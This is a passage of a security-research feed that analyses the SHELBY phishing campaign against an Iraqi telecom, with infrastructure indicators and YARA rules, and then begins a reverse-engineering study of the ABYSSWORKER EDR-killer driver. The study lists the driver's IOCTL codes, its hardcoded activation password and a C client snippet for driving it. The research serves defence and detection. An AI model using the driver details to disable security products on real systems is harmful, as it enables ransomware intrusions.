<h3>SHELBY family conclusion</h3>
<p>While the C2 infrastructure is designed exotically, the attacker has overlooked the significant risks and implications of this approach.</p>
<p>We believe using this malware, whether by an authorized red team or a malicious actor, would constitute malpractice. It enables any victim to weaponize the embedded PAT and take control of all active infections. Additionally, if a victim uploads samples to platforms like VirusTotal or MalwareBazaar, any third party could access infection-related data or take over the infections entirely.</p>
<h2>REF8685 campaign analysis</h2>
<p>Elastic Security Labs discovered REF8685 through routine collection and analysis of third-party data sources. While studying the REF8685 intrusion, we identified a loader and a C2 implant that we determined to be novel, leading us to release this detailed malware and intrusion analysis.</p>
<p>The malicious payloads were delivered to an Iraq-based telecom through a highly targeted phishing email sent from within the targeted organization. The text of the email is a discussion amongst engineers regarding the technical specifics of managing the network. Based on the content and context of the email, it is not likely that this lure was crafted externally, indicating the compromise of engineer endpoints, mail servers, or both.</p>
<pre><code class="language-text">Dears,

We would appreciate it if you would check the following alarms on Core Network many (ASSOCIATION) have been flapped.

Problem Text
*** ALARM 620 A1/APT &quot;ARHLRF2SPX1.9IP&quot;U 250213 1406
M3UA DESTINATION INACCESSIBLE
DEST            SPID
2-1936          ARSMSC1
END

Problem Text
*** ALARM 974 A1/APT &quot;ARHLRF1SPX1.9IP&quot;U 250213 1406
M3UA DESTINATION INACCESSIBLE
DEST            SPID
2-1936          ARSMSC1
END
…
</code></pre>
<p>This email contains a call to action to address network alarms and a zipped attachment named <code>details.zip</code>. Within that zip file is a text file containing the logs addressed in the email and a Windows executable (<code>JPerf-3.0.0.exe</code>), which starts the execution chain, resulting in the delivery of the SHELBYC2 implant, providing remote access to the environment.</p>
<p>While not observed in the REF8685 intrusion, it should be noted that VirusTotal shows that <code>JPerf-3.0.0.exe</code> (<a href="https://www.virustotal.com/gui/file/feb5d225fa38efe2a627ddfbe9654bf59c171ac0742cd565b7a5f22b45a4cc3a/relations">feb5d225fa38efe2a627ddfbe9654bf59c171ac0742cd565b7a5f22b45a4cc3a</a>) was included in a separate compressed archive (<code>JPerf-3.0.0.zip</code>)and also submitted from Iraq. It is unclear if this is from the same victim or another in this campaign. A file similarity search also identifies a second implant named <code>Setup.exe</code> with an additional compressed archive (<a href="https://www.virustotal.com/gui/file/5c384109d3e578a0107e8518bcb91cd63f6926f0c0d0e01525d34a734445685c/detection">5c384109d3e578a0107e8518bcb91cd63f6926f0c0d0e01525d34a734445685c</a>).</p>
<p>Analysis of these files (<code>JPerf-3.0.0.exe</code> and <code>Setup.exe</code>) revealed the use of GitHub for <code>C2</code> and AES key retrieval mechanisms (more on this in the malware analysis sections). The Github accounts (<code>arthurshellby</code> and <code>johnshelllby</code>) used for the REF8685 malware were malicious and have been shut down by Github.</p>
<p>Of note, Arthur and John Shelby are characters in the British crime drama television series <a href="https://en.wikipedia.org/wiki/Peaky_Blinders_(TV_series)">Peaky Blinders</a>. The show was in production from 2013 to 2022.</p>
<p>The domain <code>arthurshelby[.]click</code> pointed to<code> 2.56.126[.]151</code>, a Stark Industries (AS44477) hosted server. This VPS hosting provider <a href="https://krebsonsecurity.com/2024/05/stark-industries-solutions-an-iron-hammer-in-the-cloud/">has been used for proxy services</a> in other large-scale cyber attacks. This server has overlapping resolutions for:</p>
<ul>
<li><code>arthurshelby[.]click</code></li>
<li><code>[REDACTED]telecom[.]digital</code></li>
<li><code>speed-test[.]click</code></li>
<li><code>[REDACTED]airport[.]cloud</code></li>
<li><code>[REDACTED]airport[.]pro</code></li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-shelby-strategy/image19.png" alt="DNS resolution timeline for 2.56.126[.]151" title="DNS resolution timeline for .56.126[.]151" /></p>
<p>The compressed archive and C2 domains for one of the SHELBYLOADER samples are named after [REDACTED] Telecom, an Iraq-based telecommunications company. [REDACTED]’s coverage map focuses on the Iraqi-Kurdistan region in the North and East of the country.</p>
<p>“Sharjaairport” indicates a probable third targeted victim. [REDACTED] International Airport ([REDACTED]) is an international airport specializing in air freight in the United Arab Emirates. It is 14.5 miles (23.3km) from Dubai International Airport (DXB).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-shelby-strategy/image29.png" alt="DNS resolution timeline for [REDACTED]airport[.]cloud" title="DNS resolution timeline for [REDACTED]airport[.]cloud" /></p>
<p><code>[REDACTED]airport[.]cloud</code> resolved to a new server, <code>2.56.126[.]157</code>, for one day on Jan 21, 2025. Afterward, it pointed to Google DNS, the legitimate [REDACTED] Airport server, and finally, a Namecheap parking address. The <code>2.56.126[.]157</code> server, Stark Industries (AS44477) hosted, also hosts <code>[REDACTED]-connect[.]online</code>, [REDACTED] is the airport code for the [REDACTED] International Airport.</p>
<p>The domain<code> [REDACTED]airport[.]cloud</code> has a subdomain <code>portal.[REDACTED]airport[.]cloud</code> that briefly pointed to <code>2.56.126[.]188</code> from Jan 23-25, 2025. It then directed traffic to <code>172.86.68[.]55</code> until the time of writing.</p>
<p>Banner hash pivots reveal an additional server-domain combo: <code>195.16.74[.]138</code>, <code>[REDACTED]-meeting[.]online</code>.</p>
<p>The <code>172.86.68[.].55</code> server also hosts <code>mail.[REDACTED]tell[.]com</code>, an apparent phishing domain targeting our original victim.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-shelby-strategy/image11.png" alt="DNS resolution timeline for 172.86.68[.].55" title="DNS resolution timeline for 172.86.68[.].55" /></p>
<p>A web login page was hosted at <code>hxxps://portal.[REDACTED]airport[.]cloud/Login</code> (<a href="https://www.virustotal.com/gui/file/02dc15a3bd3a911f6ac9c9e8633c7986f06372a514fc5bf75373b9901c6a9628/relations">VirusTotal</a>).</p>
<p>We assess that the attackers weaponized these two sub-domains to phish for cloud login credentials. Once these credentials were secured (in the case of [REDACTED] Telecom), the attackers accessed the victim's cloud email and crafted a highly targeted phish by weaponizing ongoing internal email threads.</p>
<p>This weaponized internal email was used to re-phish their way onto victim endpoints.</p>
<p>All domains associated with this campaign have utilized ZeroSSL certifications and have been on Stark Industries infrastructure.</p>
<h3>The Diamond Model of intrusion analysis</h3>
<p>Elastic Security Labs utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a, although cluttered, single diamond.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-shelby-strategy/image10.png" alt="REF8685 represented in the Diamond Model" title="REF8685 represented in the Diamond Model" /></p>
<h2>REF8685 and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Code Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1566/">Phishing</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/">Command and Scripting Interpreter</a></li>
<li><a href="https://attack.mitre.org/techniques/T1041/">Exfiltration Over C2 Channel</a></li>
</ul>
<h2>YARA rule</h2>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the SHELBYC2 and SHELBYLOADER malware:</p>
<pre><code>rule Windows_Trojan_ShelbyLoader {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2025-03-11&quot;
        last_modified = &quot;2025-03-25&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;ShelbyLoader&quot;
        threat_name = &quot;Windows.Trojan.ShelbyLoader&quot;
        license = &quot;Elastic License v2&quot;

    strings:
        $a0 = &quot;[WARN] Unusual parent process detected: &quot;
        $a1 = &quot;[ERROR] Exception in CheckParentProcess:&quot; fullword
        $a2 = &quot;[INFO] Sandbox Not Detected by CheckParentProcess&quot; fullword
        $b0 = { 22 63 6F 6E 74 65 6E 74 22 3A 20 22 2E 2B 3F 22 }
        $b1 = { 22 73 68 61 22 3A 20 22 2E 2B 3F 22 }
        $b2 = &quot;Persist ID: &quot; fullword
        $b3 = &quot;https://api.github.com/repos/&quot; fullword
    condition:
        all of ($a*) or all of ($b*)
}

rule Windows_Trojan_ShelbyC2 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2025-03-11&quot;
        last_modified = &quot;2025-03-25&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;ShelbyC2&quot;
        threat_name = &quot;Windows.Trojan.ShelbyC2&quot;
        license = &quot;Elastic License v2&quot;

    strings:
        $a0 = &quot;File Uploaded Successfully&quot; fullword
        $a1 = &quot;/dlextract&quot; fullword
        $a2 = &quot;/evoke&quot; fullword
        $a4 = { 22 73 68 61 22 3A 20 22 2E 2B 3F 22 }
        $a5 = { 22 2C 22 73 68 61 22 3A 22 }
    condition:
        all of them
}
</code></pre>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/shelby-strategy">download</a> in both ECS and STIX format in a combined zip bundle.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>0e25efeb4e3304815f9e51c1d9bd3a2e2a23ece3a32f0b47f829536f71ead17a</code></td>
<td>SHA-256</td>
<td><code>details.zip</code></td>
<td>Lure zip file</td>
</tr>
<tr>
<td><code>feb5d225fa38efe2a627ddfbe9654bf59c171ac0742cd565b7a5f22b45a4cc3a</code></td>
<td>SHA-256</td>
<td><code>JPerf-3.0.0.exe</code></td>
<td></td>
</tr>
<tr>
<td><code>0354862d83a61c8e69adc3e65f6e5c921523eff829ef1b169e4f0f143b04091f</code></td>
<td>SHA-256</td>
<td><code>HTTPService.dll</code></td>
<td>SHELBYLOADER</td>
</tr>
<tr>
<td><code>fb8d4c24bcfd853edb15c5c4096723b239f03255f17cec42f2d881f5f31b6025</code></td>
<td>SHA-256</td>
<td><code>HTTPApi.dll</code></td>
<td>SHELBYC2</td>
</tr>
<tr>
<td><code>472e685e7994f51bbb259be9c61f01b8b8f35d20030f03215ce205993dbad7f5</code></td>
<td>SHA-256</td>
<td><code>JPerf-3.0.0.zip</code></td>
<td>Lure zip file</td>
</tr>
<tr>
<td><code>5c384109d3e578a0107e8518bcb91cd63f6926f0c0d0e01525d34a734445685c</code></td>
<td>SHA-256</td>
<td><code>Setup.exe</code></td>
<td></td>
</tr>
<tr>
<td><code>e51c6f0fbc5a7e0b03a0d6e1e1d26ab566d606b551c785bf882e9a02f04c862b</code></td>
<td>SHA-256</td>
<td></td>
<td>Lure zip file</td>
</tr>
<tr>
<td><code>github[.]com/johnshelllby</code></td>
<td>URL</td>
<td></td>
<td>GitHub Account name - C2</td>
</tr>
<tr>
<td><code>github[.]com/arturshellby</code></td>
<td>URL</td>
<td></td>
<td>GitHub Account name - C2</td>
</tr>
<tr>
<td><code>arthurshelby[.]click</code></td>
<td>domain-name</td>
<td></td>
<td>DNS domain</td>
</tr>
<tr>
<td><code>speed-test[.]click</code></td>
<td>domain-name</td>
<td></td>
<td></td>
</tr>
<tr>
<td><code>2.56.126[.]151</code></td>
<td>ipv4</td>
<td></td>
<td></td>
</tr>
<tr>
<td><code>2.56.126[.]157</code></td>
<td>ipv4</td>
<td></td>
<td></td>
</tr>
<tr>
<td><code>2.56.126[.]188</code></td>
<td>ipv4</td>
<td></td>
<td></td>
</tr>
<tr>
<td><code>172.86.68[.]55</code></td>
<td>ipv4</td>
<td></td>
<td></td>
</tr>
<tr>
<td><code>195.16.74[.]138</code></td>
<td>ipv4</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/the-shelby-strategy/shelby.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Shedding light on the ABYSSWORKER driver]]></title>
            <link>https://www.elastic.co/pt/security-labs/abyssworker</link>
            <guid>abyssworker</guid>
            <pubDate>Thu, 20 Mar 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs describes ABYSSWORKER, a malicious driver used with the MEDUSA ransomware attack-chain to disable anti-malware tools.]]></description>
            <content:encoded><![CDATA[<h1>Summary</h1>
<p>Cybercriminals are increasingly bringing their own drivers — either exploiting a vulnerable legitimate driver or using a custom-built driver to disable endpoint detection and response (EDR) systems and evade detection or prevention capabilities.</p>
<p>Elastic Security Labs has monitored a financially motivated campaign deploying MEDUSA ransomware through the use of a <a href="https://unit42.paloaltonetworks.com/packer-as-a-service-heartcrypt-malware/">HEARTCRYPT</a>-packed loader. This loader was deployed alongside a revoked certificate-signed driver from a Chinese vendor we call ABYSSWORKER, which it installs on the victim machine and then uses to target and silence different EDR vendors. This EDR-killer driver was <a href="https://www.linkedin.com/pulse/attackers-leveraging-microsoft-teams-defaults-quick-assist-p1u5c/">recently reported</a> by ConnectWise in another campaign, using a different certificate and IO control codes, at which time some of its capabilities were discussed. In 2022, Google Cloud Mandiant disclosed a malicious driver called <a href="https://cloud.google.com/blog/topics/threat-intelligence/hunting-attestation-signed-malware/">POORTRY</a> which we believe is the earliest mention of this driver.</p>
<p>In this article, we take an in-depth look at this driver, examining its various features and techniques. We also provide relative virtual addresses (RVA) under each reversed code screenshot to link the research with the reference sample, along with a small client example that you can use to further experiment with this malware.</p>
<h1>Technical Analysis</h1>
<h2>PE header</h2>
<p>The binary is a 64-bit Windows PE driver named <code>smuol.sys</code>, and imitates a legitimate CrowdStrike Falcon driver.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image5.png" alt="ABYSSWORKER driver PE header description" /></p>
<p>At the time of analysis, we found a dozen samples on VirusTotal, dating from 2024-08-08 to 2025-02-24. Most were VMProtect packed, but two — referenced in the observable tables below — weren’t protected.</p>
<p>All samples are signed using likely stolen, revoked certificates from Chinese companies. These certificates are widely known and shared across different malware samples and campaigns but are not specific to this driver. The certificate fingerprints are listed below:</p>
<table>
<thead>
<tr>
<th align="left">Fingerprint</th>
<th align="left">Name</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>51 68 1b 3c 9e 66 5d d0 b2 9e 25 71 46 d5 39 dc</code></td>
<td align="left">Foshan Gaoming Kedeyu Insulation Materials Co., Ltd</td>
</tr>
<tr>
<td align="left"><code>7f 67 15 0f bb 0d 25 4e 47 42 84 c7 f7 81 9c 4f</code></td>
<td align="left">FEI XIAO</td>
</tr>
<tr>
<td align="left"><code>72 88 1f 10 cd 24 8a 33 e6 12 43 a9 e1 50 ec 1d</code></td>
<td align="left">Fuzhou Dingxin Trade Co., Ltd.</td>
</tr>
<tr>
<td align="left"><code>75 e8 e7 b9 04 3b 13 df 60 e7 64 99 66 30 21 c1</code></td>
<td align="left">Changsha Hengxiang Information Technology Co., Ltd</td>
</tr>
<tr>
<td align="left"><code>03 93 47 e6 1d ec 6f 63 98 d4 d4 6b f7 32 65 6c</code></td>
<td align="left">Xinjiang Yishilian Network Technology Co., Ltd</td>
</tr>
<tr>
<td align="left"><code>4e fa 7e 7b ba 65 ec 1a b7 74 f2 b3 13 57 d5 99</code></td>
<td align="left">Shenzhen Yundian Technology Co., Ltd</td>
</tr>
</tbody>
</table>
<h2>Obfuscation</h2>
<p>ABYSSWORKER uses functions that always return the same value, relying on a combination of opaque predicates and other derivation functions. For example, the zero-returning function below always returns a <code>0</code> based on hardcoded derived values.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image7.png" alt="Zero-Returning function 0x3238" /></p>
<p>Below is one of the derivation functions:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image26.png" alt="Derivation function 0xF0B4" /></p>
<p>These constant-returning functions are called repeatedly throughout the binary to hinder static analysis. However, there are only three such functions, and they aren't used in any predicate but are simply called. We can easily identify them, making this an inefficient obfuscation scheme.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image20.png" alt="Example of constant-returning function calls 0x10D2" /></p>
<h2>Initialization</h2>
<p>Upon initialization, the driver begins by obtaining pointers to several kernel modules and its client protection feature, which will be discussed in the following sections.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image35.png" alt="Loading pointers on kernel modules 0x63E2" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image28.png" alt="Initializing client protection feature 0x65c3" /></p>
<p>Then, it creates a device with the path <code>\\device\\czx9umpTReqbOOKF</code> and a symbolic link with the path <code>\\??\\fqg0Et4KlNt4s1JT</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image11.png" alt="Creating device 0x2F45" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image17.png" alt="Creating symbolic link 0x2FDA" /></p>
<p>It completes initialization by registering callbacks for its major functions.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image14.png" alt="Registering driver major functions callbacks 0x3067" /></p>
<h2>Client protection on device opening</h2>
<p>When the driver device is opened, the <code>IRP_MJ_CREATE</code> major callback is called. This function is responsible for adding the process ID to the list of processes to protect and for stripping any pre-existing handles to the target process from the list of running processes.</p>
<p>The function retrieves the process ID from the current kernel thread since the kernel callback is executed in the context of the client process when the device is opened.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image33.png" alt="Get client PID from current thread 0x138B" /></p>
<p>Before adding the process ID to the protection list, ABYSSWORKER searches for and strips any existing handles to the client process in other running processes.</p>
<p>To achieve this, the malware iterates over existing processes by brute-forcing their Process IDs (PIDs) to avoid reliance on any API. For each process, it iterates over their handles, also using brute force, and checks if the underlying object corresponds to the client process. If a match is found, it strips the access rights using the value passed as a parameter (<code>0x8bb</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image21.png" alt="ABYSSWORKER stripping existing handles to the client from other processes 0x9EDB" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image4.png" alt="ABYSSWORKER setting access rights of client handle if found in process 0xA691" /></p>
<p>Finally, it adds the PID to the global list of protected processes.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image22.png" alt="Client PID is added to the global protected processes list 0x9F43" /></p>
<p>As mentioned earlier, the driver sets up its protection feature during the initialization phase. This protection relies on registering two <code>pre-operation</code> callbacks using the <code>ObRegisterCallback</code> API: one to detect the opening of handles to its protected processes and another to detect the opening of handles to the threads of those protected processes.</p>
<p>The two callbacks operate in the same way: they set the desired access for the handle to zero, effectively denying the creation of the handle.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image18.png" alt="Registration of callbacks to catch thread and process opening to protected client 0xA2B0" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image10.png" alt="Denying access to protected process handle 0xA0A6" /></p>
<h2>DeviceIoControl handlers</h2>
<p>Upon receiving a device I/O control request, ABYSSWORKER dispatches the request to handlers based on the I/O control code. These handlers cover a wide range of operations, from file manipulation to process and driver termination, providing a comprehensive toolset that can be used to terminate or permanently disable EDR systems.</p>
<p>We detail the different IO controls in the table below:</p>
<table>
<thead>
<tr>
<th align="left">Name</th>
<th align="left">Code</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Enable malware</td>
<td align="left"><code>0x222080</code></td>
</tr>
<tr>
<td align="left">Copy file</td>
<td align="left"><code>0x222184</code></td>
</tr>
<tr>
<td align="left">Remove callbacks and devices by module name</td>
<td align="left"><code>0x222400</code></td>
</tr>
<tr>
<td align="left">Replace driver major functions by module name</td>
<td align="left"><code>0x222404</code></td>
</tr>
<tr>
<td align="left">Kill system threads by module name</td>
<td align="left"><code>0x222408</code></td>
</tr>
<tr>
<td align="left">Detach mini filter devices</td>
<td align="left"><code>0x222440</code></td>
</tr>
<tr>
<td align="left">Delete file</td>
<td align="left"><code>0x222180</code></td>
</tr>
<tr>
<td align="left">Disable malware</td>
<td align="left"><code>0x222084</code></td>
</tr>
<tr>
<td align="left">Load api</td>
<td align="left"><code>0x2220c0</code></td>
</tr>
<tr>
<td align="left">Decrease all drivers reference counter</td>
<td align="left"><code>0x222100</code></td>
</tr>
<tr>
<td align="left">Decrease all devices reference counter</td>
<td align="left"><code>0x222104</code></td>
</tr>
<tr>
<td align="left">Terminate process</td>
<td align="left"><code>0x222144</code></td>
</tr>
<tr>
<td align="left">Terminate thread</td>
<td align="left"><code>0x222140</code></td>
</tr>
<tr>
<td align="left">Removing hooks from Ntfs and Pnp drivers' major functions</td>
<td align="left"><code>0x222444</code></td>
</tr>
<tr>
<td align="left">Reboot</td>
<td align="left"><code>0x222664</code></td>
</tr>
</tbody>
</table>
<h3>Enabling the malware (0x222080)</h3>
<p>As discussed in this <a href="https://www.linkedin.com/pulse/attackers-leveraging-microsoft-teams-defaults-quick-assist-p1u5c/">blog post</a>, the client must enable the driver by sending a password (<code>7N6bCAoECbItsUR5-h4Rp2nkQxybfKb0F-wgbJGHGh20pWUuN1-ZxfXdiOYps6HTp0X</code>) to the driver, in our case it’s through the <code>0x222080</code> IO control.</p>
<p>The handler simply compares the user input with the hardcoded password. If correct, it sets a global flag to true (1). This flag is checked in all other handlers to permit or deny execution.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image1.png" alt="Hardcoded password 0x12000" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image3.png" alt="Enabling malware if the password is correct 0x184B" /></p>
<h3>Loading the API (0x2220c0)</h3>
<p>Most handlers in the malware rely on kernel APIs that must be loaded using this handler. This handler loads these globals along with several structures, using the kernel module pointers previously loaded during initialization. Once the loading is complete, a global flag is set to signal the availability of these APIs.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image29.png" alt="Set the global flag to 1 once the API is loaded 0x1c28" /></p>
<p>This handler has two modes of operation: a full mode and a partial mode. In full mode, it loads the APIs using a mapping structure of function names and RVA provided by the user as input to the IO control. In partial mode, it searches for some of the APIs on its own but does not load all the APIs that are loaded in full mode, hence the term partial mode. If the user opts for partial mode due to the inability to provide this mapping structure, some handlers will not execute. In this chapter, we only cover the full mode of operation.</p>
<p>We detail the structures used below:</p>
<pre><code class="language-c">#define AM_NAME_LENGTH 256
typedef struct _struct_435
{
   uint64_t rva;
   char name[AM_NAME_LENGTH];
} struct_435_t;

#define AM_ARRAY_LENGTH 1024
typedef struct _struct_433
{
   struct_435_t array[AM_ARRAY_LENGTH];
   uint32_t length;
} struct_433_t;
</code></pre>
<p>We provide a short example of usage below:</p>
<pre><code class="language-c">struct_433_t api_mapping = {
    .length = 25,
    .array = {
        [0] = {.rva = 0xcec620, .name = &quot;PspLoadImageNotifyRoutine&quot;},
        [1] = {.rva = 0xcec220, .name = &quot;PspCreateThreadNotifyRoutine&quot;},
        [2] = {.rva = 0xcec420, .name = &quot;PspCreateProcessNotifyRoutine&quot;},
        // (...)
        [24] = {.rva = 0x250060, .name = &quot;NtfsFsdShutdown&quot;},
}};

uint32_t malware_load_api(HANDLE device)
{
    return send_ioctrl(device, IOCTRL_LOAD_API, &amp;api_mapping, sizeof(struct_433_t), NULL, 0);
}
</code></pre>
<p>To load its API, the function starts by loading three 'callback lists' from different kernel object types. These are used by the handler that removes registered notification callbacks belonging to a specific module.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image23.png" alt="ABYSSWORKER getting callback list from kernel’s _OBJECT_TYPEs 0x5502" /></p>
<p>Then, it loads pointers to functions by using the provided structure, simply by searching for the function name and adding the associated RVA to the module's base address.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image9.png" alt="Get function RVA from structure 0x5896" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image6.png" alt="Search RVA associated with function name in structure 0x3540" /></p>
<p>This is done for the following 25 functions:</p>
<ul>
<li><code>PspLoadImageNotifyRoutine</code></li>
<li><code>PspCreateThreadNotifyRoutine</code></li>
<li><code>PspCreateProcessNotifyRoutine</code></li>
<li><code>CallbackListHead</code></li>
<li><code>PspSetCreateProcessNotifyRoutine</code></li>
<li><code>PspTerminateThreadByPointer</code></li>
<li><code>PsTerminateProcess</code></li>
<li><code>IopInvalidDeviceRequest</code></li>
<li><code>ClassGlobalDispatch</code></li>
<li><code>NtfsFsdRead</code></li>
<li><code>NtfsFsdWrite</code></li>
<li><code>NtfsFsdLockControl</code></li>
<li><code>NtfsFsdDirectoryControl</code></li>
<li><code>NtfsFsdClose</code></li>
<li><code>NtfsFsdCleanup</code></li>
<li><code>NtfsFsdCreate</code></li>
<li><code>NtfsFsdDispatchWait</code></li>
<li><code>NtfsFsdDispatchSwitch</code></li>
<li><code>NtfsFsdDispatch</code></li>
<li><code>NtfsFsdFlushBuffers</code></li>
<li><code>NtfsFsdDeviceControl</code></li>
<li><code>NtfsFsdFileSystemControl</code></li>
<li><code>NtfsFsdSetInformation</code></li>
<li><code>NtfsFsdPnp</code></li>
<li><code>NtfsFsdShutdown</code></li>
</ul>
<h3>File copy and deletion (0x222184, 0x222180)</h3>
<p>To copy or delete files, ABYSSWORKER relies on a strategy that, although not new, remains interesting. Instead of using a common API like <code>NtCreateFile</code>, an I/O Request Packet (IRP) is created from scratch and sent directly to the corresponding drive device containing the target file.</p>
<h4>Creating a file</h4>
<p>The file creation function is used to showcase how this mechanism works. The function starts by obtaining the drive device from the file path. Then, a new file object is created and linked to the target drive device, ensuring that the new object is properly linked to the drive.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image15.png" alt="Building a new file object 0x7A14" /></p>
<p>Then, it creates a new IRP object and sets all the necessary data to perform the file creation operation. The major function targeted by this IRP is specified in the <code>MajorFunction</code> property, which, in this case, is set to <code>IRP_MJ_CREATE</code>, as expected for file creation.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image16.png" alt="Building new IRP 0x7C68" /></p>
<p>Then, the malware sends the IRP to the target drive device. While it could have used the <code>IoCallDriver</code> API to do so, it instead sends the IRP manually by calling the corresponding device's major function.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image15.png" alt="Sending IRP to device 0x9B14" /></p>
<p>At this point, the file object is valid for further use. The handler finishes its work by incrementing the reference counter of the file object and assigning it to its output parameter for later use.</p>
<h4>Copying a file</h4>
<p>To copy a file, ABYSSWORKER opens both the source and destination files, then reads (<code>IRP_MJ_READ</code>) from the source and writes (<code>IRP_MJ_WRITE</code>) to the destination.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image40.png" alt="Copying file using IRPs 0x4BA8" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image31.png" alt="Reading and writing files using IRPs 0x66D9" /></p>
<h4>Deleting a file</h4>
<p>The deletion handler sets the file attribute to <code>ATTRIBUTE_NORMAL</code> to unprotect any read-only file and sets the file disposition to delete (<code>disposition_info.DeleteFile = 1</code>) to remove the file using the <code>IRP_MJ_SET_INFORMATION</code> IRP.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image30.png" alt="Setting file attribute to normal and deleting it 0x4FB6" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image24.png" alt="Building IRP_MJ_SET_INFORMATION IRP to delete file 0x67B4" /></p>
<h3>Notification callbacks removal by module name (0x222400)</h3>
<p>Malware clients can use this handler to blind EDR products and their visibility. It searches for and removes all registered notification callbacks. The targeted callbacks are those registered with the following APIs:</p>
<ul>
<li><code>PsSetCreateProcessNotifyRoutine</code></li>
<li><code>PsSetLoadImageNotifyRoutine</code></li>
<li><code>PsSetCreateThreadNotifyRoutine</code></li>
<li><code>ObRegisterCallbacks</code></li>
<li><code>CmRegisterCallback</code></li>
</ul>
<p>Additionally, it removes callbacks registered through a MiniFilter driver and, optionally, removes devices belonging to a specific module.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/abyssworker/image34.png" alt="Deleting notifications callbacks and devices 0x263D" /></p>
<p>To delete those notification callbacks, the handler locates them using various methods, such as the three global callback lists previously loaded in the loading API handler, which contain callbacks registered with <code>ObRegisterCallbacks</code> and <code>CmRegisterCallback</code>. It then deletes them using the corresponding APIs, like <code>ObUnRegisterCallbacks</code> and <code>CmUnRegisterCallbacks</code>.</p>
<p>Blinding EDR using these methods deserves a whole blog post of its own. To keep this post concise, we won’t provide more details here, but we invite the reader to explore these methods in two well-documented projects that implement these techniques:</p>
<ul>
<li><a href="https://github.com/wavestone-cdt/EDRSandblast/tree/master">EDRSandblast</a></li>
<li><a href="https://github.com/myzxcg/RealBlindingEDR">RealBlindingEDR</a></li>
</ul>
<h3>Replace driver major functions by module name <code>0x222404</code></h3>
